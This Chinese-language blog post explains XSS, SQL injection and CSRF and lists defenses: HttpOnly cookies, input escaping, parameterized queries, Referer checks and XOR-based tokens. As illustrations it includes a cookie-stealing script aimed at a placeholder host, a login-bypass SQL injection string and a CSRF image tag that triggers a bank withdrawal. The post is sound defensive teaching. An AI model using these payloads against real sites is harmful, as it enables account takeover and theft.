Web 常见的三个安全问题
2023-07-05 Web 安全
概述
这两天在看 Google SRE 这本书, 书中提到了几种常见的安全问题:
本文着重讲一下其中的 XSS
、 SQL 注入
、CSRF
,这三个问题也是 Web 开发中常见的。
跨站脚本攻击
跨站脚本攻击(Cross-Site Scripting, XSS): 攻击者通过在网页中插入恶意代码来利用浏览器的漏洞,代码包括 HTML 和 JavaScript。
攻击原理
例如有一个论坛网站,攻击者可以在上面发布以下内容:
<script>location.href="//example.com/?c=" + document.cookie</script>
如果服务端没有对该内容进行安全过滤,那么发布后内容会被渲染成以下形式:
<p><script>location.href="//example.com/?c=" + document.cookie</script></p>
此时另一个用户浏览了含有这个内容的页面,将会跳转到 example.com 并携带了自己的 Cookie, 如果这个论坛网站恰好通过 Cookie 的方式来管理用户登录状态,那么攻击者就可以通过这个 Cookie 登录当前用户的账号了。
攻击目的
- 窃取用户的 Cookie
- 伪造虚假的输入表单窃取用户信息
- 显示伪造的文章或者图片
- 使用被攻击者的身份执行一些操作,如: 发通告、加好友、发私信等
- 通过在访问量大的网站放置 XSS 代码来攻击小型网站
真实案例
笔者在职业生涯早期,曾经遇到过一个真实的跨站脚本攻击案例。当时的背景是开发了一个类似 SAAS 的投票模块,因为每个客户会根据最终的投票结果排名发放对应的奖品, 有个懂技术的用户在个人昵称中添加了一段 js 代码,服务端没有做响应的过滤,造成的结果就是该用户霸榜第一名连续将近 6 小时,后来是业务方反馈到了笔者这边,进行了紧急处理。
如何防护
1. 设置 Cookie 为 HttpOnly
通过将 Cookie 的 HttpOnly 属性设置为 true, 表示无法通过 document.cookie 获取用户 Cookie 信息,可以在一定程度上防止 JavaScript 代码类型的跨站脚本攻击。
2. 过滤特殊字符
不相信用户的任何输入。
例如将 <
转义为 <
,将 >
转义为 >
,从而避免 HTML 和 Jascript 代码的运行。
富文本编辑器允许用户输入 HTML 代码,通常采用自定义标签的方式,过滤掉可能会造成攻击性 HTML 代码。例如下面的例子中,form 和 script 等标签都被转义,而 h 和 p 等标签将会保留。
<h1 id="title">XSS Demo</h1><p>123</p><form><input type="text" name="q" value="test"></form><pre>hello</pre><script type="text/javascript">
alert(/xss/);
</script>
<h1>XSS Demo</h1><p>123</p><form>
<input type="text" name="q" value="test">
</form>
<pre>hello</pre><script type="text/javascript">
alert(/xss/);
</script>
在线测试工具
XSS Scanner - Online Scan for Cross-site Scripting
可以选择单个页面测试,也可以整站测试。
SQL 注入攻击
SQL 注入攻击 是指攻击者在应用程序的数据库查询中注入恶意 SQL 代码,从而执行未经授权的 SQL 语句,造成 SQL 注入的原因是服务端程序没有过滤客户端提交的数据。
攻击原理
例如一个网站登录验证的 SQL 查询代码为:
sql = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
如果填入以下内容:
userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
那么 SQL 查询字符串就会变为:
sql = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
等于直接跳过数据库管理员执行了以下查询 (俗称 “脱库”):
sql = "SELECT * FROM users;"
其他 SQL 注入方式和上面的示例类似,都是攻击者通过先猜测对应的服务端 SQL 语句,然后再根据请求数据格式注入对应的代码,读者可以展开 “想象”,充当一回 Hacker, 对自己的项目全面地进行一个 SQL 注入安全检查。
如何防护
1. 使用参数化查询
主流编程语言的标准库、第三方 ORM 框架基本都已经内置了 SQL 参数查询过滤功能,例如 GORM 的写法:
result := db.Where("username = ?", username).First(&user)
2. 单引号转换
将传入的参数中的特殊字符 (如单引号, 双引号, 反斜杠等) 进行转义处理,这样被转移的 SQL 语句执行就会报错,但是在实际开发中, 这种方法很少使用,一般都是使用第一种方法。
在线测试工具
XSS Scanner - Online Scan for Cross-site Scripting
跨站请求伪造
跨站请求伪造(Cross-site request forgery,CSRF)是攻击者诱使用户去访问一个已登陆的网站,并执行一些特定操作(如发邮件、发消息、转账等)。
跨站脚本攻击利用的是用户对指定网站的信任,跨站请求伪造攻击利用的是网站对浏览器的信任。
攻击原理
假如一家银行用以执行转账操作的 URL 地址如下:
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
那么,一个恶意攻击者可以在一个网站 A 上放置如下代码:
<img src="http://www.examplebank.com/withdraw?account=小明&amount=1000&for=攻击者">。
如果此时有账户名为 小明 的用户访问了网站 A,而他之前刚登陆过银行网站,那么他就会向攻击者转账 1000 元,而他本人还蒙在鼓里尚不知情。
上面的攻击方式是最简单的一种,类似这种恶意的网址可以有很多种形式,藏身于网页中的各个角落 (如按钮、图片、对话框等), 同时,攻击者可以将恶意代码放到其他网站中,例如他可以将代码藏在论坛,博客等任何用户生成内容的网站中, 如果这些被攻击者放置代码的网站服务端没有进行安全过滤,所有访问这些网站的用户都有可能受到攻击,损失金钱。
攻击者并不能通过 跨站请求伪造攻击 来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。本质上,攻击者是通过欺骗用户浏览器来执行特定操作。
防范手段
1. 检查 Referer 首部字段
Referer 首部字段位于 HTTP Header 报文中,用于标识请求的源地址,通过检查这个首部字段,并且要求 请求源地址 和 当前地址 必须在同一个域名下,可以尽可能的防止跨站请求伪造攻击。
该方案实现简单并且效果不错,但是局限性在于其完全依赖浏览器发送的 Referer 字段百分百是正确的, 如果浏览器的内核实现有问题,或者浏览器本身有安全漏洞,都会影响到该字段的正确发送,甚至攻击者可以直接攻击浏览器,强制篡改 Referer 字段值。
限制请求方式
一般情况下,攻击者放置在网站上面的代码,用户点击时都是 GET 请求方式,对于关键操作,可以限制请求方式为 POST、PUT 等,也算一种非常简单实用的防止攻击的方案。
3. 双重身份验证
跨站请求伪造攻击是在用户无意识的情况下发生的,此时可以通过二次验证机制来提醒用户接下来的操作,常见的验证方式有短信验证码、手机令牌、电话密钥等。
4. 添加校验 Token
异或计算性质: 三个值中的任意两个值进行异或计算,都可以得出第三个值。
示例代码: 数字 1, 2, 3 执行异或计算
package main
func main() {
println(1 ^ 2) // 3
println(3 ^ 1) // 2
println(3 ^ 2) // 1
}
在发送关键数据请求时,服务端可以生成一个 Token 返回给客户端,客户端保存在表单中,并在请求时携带该 Token 和数据一起发送到服务端。
Token 工作流程:
- 服务端获取到 持久性密钥 (这个密钥一般是该服务专属并且全局唯一,可能存储在数据库、缓存、配置中心等)
- 根据客户端当前请求生成一个 随机字符串 A
- 通过计算 (持久性密钥 XOR 随机字符串A) 得出 Token
- 将 Token 返回到客户端
- 客户端接收到 Token 后保存起来,可以是表单、Cookie 等方式
- 客户端再次发起请求时,携带该 Token
- 通过计算 (持久性密钥 XOR 客户端 Token) 得出 随机字符串B
- 比较 随机字符串 A 和 随机字符串 B 是否相等,如果不相等,说明请求被篡改
其他安全问题
鉴权不当和访问控制不当
确保实现正确的用户校验授权以及操作权限管理,Go 语言可以参考这两个组件 casbin/casbin, golang-jwt/jwt。
敏感信息泄漏
采用足够安全的方案保存密码,Go 语言可以参考标准库中的 /crypto/scrypt。
不安全的文件上传
服务端没有对上传文件的类型、大小和内容进行验证和过滤,可能会导致恶意文件的上传和执行 (例如攻击者上传恶意 shell、php 文件), 对用户上传的任何文件都要进行检测,此外也可以直接使用云服务商提供的 OSS 安全检测功能。
日志记录和监控不足
- 全面记录日志:确保对关键事件和操作进行全面记录,包括用户登录、权限变更、敏感数据访问等
- 合理设置日志级别
- 及时备份日志文件
- 搭建实时监控和警报系统
文章声明
Web 安全测试是一项专业且敏感的活动,需要掌握专业知识和遵守法律法规,本文所有内容仅作为技术描述和演示,错误的使用安全测试技术可能导致违法行为、侵犯隐私、数据泄露等问题。 读者务必确保在合适和合法的环境中进行实践和学习,引起的任何后果请读者自负,本文作者概不负责。